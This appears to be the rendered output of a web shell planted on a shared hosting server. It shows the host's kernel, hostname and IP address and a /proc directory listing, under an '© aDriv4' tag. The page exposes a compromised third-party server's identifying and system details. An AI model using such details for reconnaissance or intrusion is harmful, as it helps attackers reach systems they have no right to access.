Linux server120.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
198.54.116.63
LiteSpeed
198.54.116.63
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | root/root | 0555 | 2024-05-06 07:40:19 | |
| .. | dir | - | root/root | 0755 | 2025-08-05 05:32:06 | |
| 1890825 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 12:55:03 | |
| 2333439 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:06:21 | |
| 2364366 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:14:04 | |
| 2364576 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:14:15 | |
| 2386693 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:15:44 | |
| 2387779 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:16:03 | |
| 2388574 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:16:27 | |
| 2389840 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:16:44 | |
| 2390628 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:16:58 | |
| 2391207 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:17:14 | |
| 2391241 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:17:15 | |
| 2391339 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:17:18 | |
| 2393522 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:17:44 | |
| 2395939 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:18:29 | |
| 2395945 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:18:29 | |
| 2397183 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:18:45 | |
| 2397211 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:18:46 | |
| 2397242 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:18:47 | |
| 2397382 | dir | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:18:50 | |
| acpi | dir | - | root/root | 0555 | 2024-05-06 11:41:57 | |
| bus | dir | - | root/root | 0555 | 2024-05-06 11:42:06 | |
| driver | dir | - | root/root | 0555 | 2026-01-03 02:10:10 | |
| fs | dir | - | root/root | 0555 | 2024-05-06 11:42:06 | |
| irq | dir | - | root/root | 0555 | 2024-05-06 11:42:02 | |
| kcare | dir | - | root/root | 0555 | 2026-01-03 02:10:10 | |
| lve | dir | - | root/root | 0555 | 2026-01-03 02:10:08 | |
| net | link | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:19:19 | |
| scsi | dir | - | root/root | 0555 | 2024-05-06 11:42:06 | |
| self | link | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:18:46 | |
| sys | dir | - | root/root | 0555 | 2024-05-06 07:41:50 | |
| sysvipc | dir | - | root/root | 0555 | 2026-01-03 02:10:10 | |
| thread-self | link | - | lesshgjr/lesshgjr | 0555 | 2026-01-03 02:18:52 | |
| tty | dir | - | root/root | 0555 | 2026-01-03 02:10:10 | |
| buddyinfo | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| cgroups | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| cmdline | text/plain | 0 B | root/root | 0444 | 2026-01-03 02:10:07 | |
| consoles | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| cpuinfo | text/plain | 0 B | root/root | 0444 | 2026-01-03 02:10:07 | |
| crypto | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| devices | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| diskstats | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| dma | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| execdomains | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| fb | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| filesystems | text/plain | 0 B | root/root | 0444 | 2026-01-03 12:49:57 | |
| interrupts | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| iomem | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| ioports | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| kallsyms | 0 B | root/root | 0444 | 2024-05-06 11:42:06 | ||
| kcore | 128 TB | root/root | 0400 | 2024-05-06 11:41:57 | ||
| key-users | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| keys | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| kmsg | 0 B | root/root | 0400 | 2026-01-03 02:10:10 | ||
| kpagecgroup | 0 B | root/root | 0400 | 2026-01-03 02:10:10 | ||
| kpagecount | 0 B | root/root | 0400 | 2026-01-03 02:10:10 | ||
| kpageflags | 0 B | root/root | 0400 | 2026-01-03 02:10:10 | ||
| loadavg | text/plain | 0 B | root/root | 0444 | 2026-01-03 02:10:07 | |
| locks | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| mdstat | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| meminfo | text/plain | 0 B | root/root | 0444 | 2026-01-03 02:10:07 | |
| misc | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| modules | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| mounts | text/plain | 0 B | lesshgjr/lesshgjr | 0444 | 2026-01-03 02:19:19 | |
| mtrr | 0 B | root/root | 0644 | 2024-05-06 11:42:06 | ||
| pagetypeinfo | 0 B | root/root | 0400 | 2026-01-03 02:10:10 | ||
| partitions | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| sched_debug | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| schedstat | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| slabinfo | 0 B | root/root | 0400 | 2026-01-03 02:10:10 | ||
| softirqs | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| stat | text/plain | 0 B | root/root | 0444 | 2026-01-03 12:50:20 | |
| swaps | 0 B | root/root | 0444 | 2024-05-06 07:41:51 | ||
| sysrq-trigger | 0 B | root/root | 0200 | 2024-05-06 11:42:06 | ||
| timer_list | 0 B | root/root | 0400 | 2026-01-03 02:10:10 | ||
| uptime | text/plain | 0 B | root/root | 0444 | 2026-01-03 02:10:06 | |
| version | text/plain | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | |
| vmallocinfo | 0 B | root/root | 0400 | 2026-01-03 02:10:10 | ||
| vmstat | 0 B | root/root | 0444 | 2026-01-03 02:10:10 | ||
| zoneinfo | 0 B | root/root | 0444 | 2026-01-03 02:10:10 |
© aDriv4